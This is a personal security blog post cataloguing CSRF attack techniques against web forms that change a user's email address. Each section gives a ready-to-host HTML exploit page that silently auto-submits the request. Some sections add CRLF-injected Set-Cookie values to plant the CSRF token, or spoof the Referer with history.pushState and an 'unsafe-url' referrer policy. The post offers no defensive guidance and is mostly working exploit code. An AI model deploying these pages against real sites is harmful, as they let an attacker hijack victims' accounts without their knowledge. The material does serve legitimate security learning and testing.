CSRF Attacks

Erik
Written by Erik on
CSRF Attacks

CSRF attacks (Cross-site request forgery) is a type of malicious exploit that aims to perform unauthorized operations that will be executed by a user that the website trusts.

Table of Contents

  1. CSRF vulnerability without defenses
  2. Token validation depends on request method
  3. Token validation depends on token presence
  4. The CSRF token is not bound to the user’s session
    4.1. Same token between users
    4.2. Token not linked to the session
  5. The token is duplicated in the cookie
  6. CSRF without referrer
  7. Broken Referer Validation

CSRF vulnerability without defenses

CSRF basic mail
It makes a request to the endpoint that changes the email and javascript confirms the request, which will change the mail just by visiting the page.

Code from https://attacker.com/evil.html

<html>
	<body>
		<form action="https://web.com/email/change" method="POST">
			<input type="hidden" name="email" value="pwned@gmail.com" />
		</form>
		<script> document.forms[0].submit(); </script>
	</body>
</html>

CSRF where token validation depends on request method

Depending on the request method, it can be done with GET

<img src="https://web.com/my-account/change-email?email=pwned@gmail.com"/>

CSRF where token validation depends on the presence of the token

It does not verify the CSRF token, it is removed and bypassed.

<html>
	<body>
		<form action="https://web.com/email/change" method="POST">
			<input type="hidden" name="email" value="pwned@gmail.com" />
             <input type="hidden"  value="csrf" />
		</form>
		<script> document.forms[0].submit(); </script>
	</body>
</html>

CSRF token is not bound to user session

Using the same token in both users
We can use the same CSRF Token in one user than in another, thanks to the fact that the token is not linked to the user’s session
My token: U6vJiRteqjSX46XRk57k6saqolEcdDvQ works for other users too.

<html>
	<body>
		<form action="https://web.com/email/change" method="POST">
			<input type="hidden" name="email" value="pwned@gmail.com" />
                        <input type="hidden" name="csrf" value="<csrf>"  />
		</form>
		<script> document.forms[0].submit(); </script>
	</body>
</html>

The CSRF token is not bound to the session
So the same csrf token and the same csrf key could be used in one account as in another to change the email We can use CRLF Injection (If exists) to set the key in the CSRF payload.

<html>
  <body>
    <form action="https://web.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@gmail.com" /> 
      <input type="hidden" name="csrf" value="<csrf>" />
      <input type="submit" value="Submit request" />    </form>
  <img src="https://web.com/?search=test%0d%0aSet-Cookie:%20csrfKey=<key>" onerror="document.forms[0].submit()">

  </body>
</html>

The token is validated in the cookie, we can make the user create his own csrf token which we indicate.

cookieToken

Since the token was validated in the cookie, we can send the request to change the mail. Again we can use CRLF Intection to indicate the token

<html>
    <body>
        <form action="https://web.com/email/change" method="POST" >
            <input type="hidden" name="email" value="pwned@gmail.com">
            <input type="hidden" name="csrf" value="31415926535897932384626433832795028841971">
        </form>
		
        <img src="https://web.com/?search=hat%0d%0aSet-Cookie:%20csrf=31415926535897932384626433832795028841971" onerror="document.forms[0].submit()">
    </body>
</html>

CSRF without referrer

We indicate that the Referer does not exist in the CSRF exploit using the meta tag.

Payload:

<meta name="referrer" content="no-referrer">

Exploit:

<html>
  <head> 
     <meta name="referrer" content="no-referrer">
  </head> 
<body> 
   <form action="https://web.com/email/change" method="POST"> 
   <input type="hidden" name="email" value="pwned@gmail.com" />
   <input type="submit"/>
</form> 
   <script>document.forms[0].submit();</script>
</body>
</html>

CSRF with broken Referer validation

The page validates the referrer when we want to change mail, it is determined if the referrer includes the domain of the origin page. By modifying the referer with javascript we can evade this validation and be able to exploit the CSRF.

Modify the Referer:

  • Using this javascript function history.pushState() that adds an entry to the browser’s session history stack.
    <script>history.pushState("", "", "/?web.com")</script>
    
  • Referer validation accepts any header that contains the expected domain somewhere in the chain
    Referer: https://attacker.com/?web.com
    

Referrer-Policy

  • Many browsers now remove the query string from the Referrer header by default as a security measure. To override this behavior and ensure that the full URL is included in the request.
  • We have to add in the header “Referrer-Policy: unsafe-url”

Payload:

<meta name="referrer" content="unsafe-url" />

Exploit:

<html>
   <head>
      <meta name="referrer" content="unsafe-url" />
   </head>
   <body>
      <script>
         history.pushState("", "", "/?web.com")  
      </script>
      <form action="https://web.com/email/change" method="POST">
         <input type="hidden" name="email" value="pwned@gmail.com" />
         <input type="submit" value="Submit request" />
      </form>
      <script>document.forms[0].submit();</script>
   </body>
</html>

Erik

Erik

Hi! Im Erik I love computer security and in my spare time I do bug bounty or research.
Every day I try to learn something new, no matter how small it is.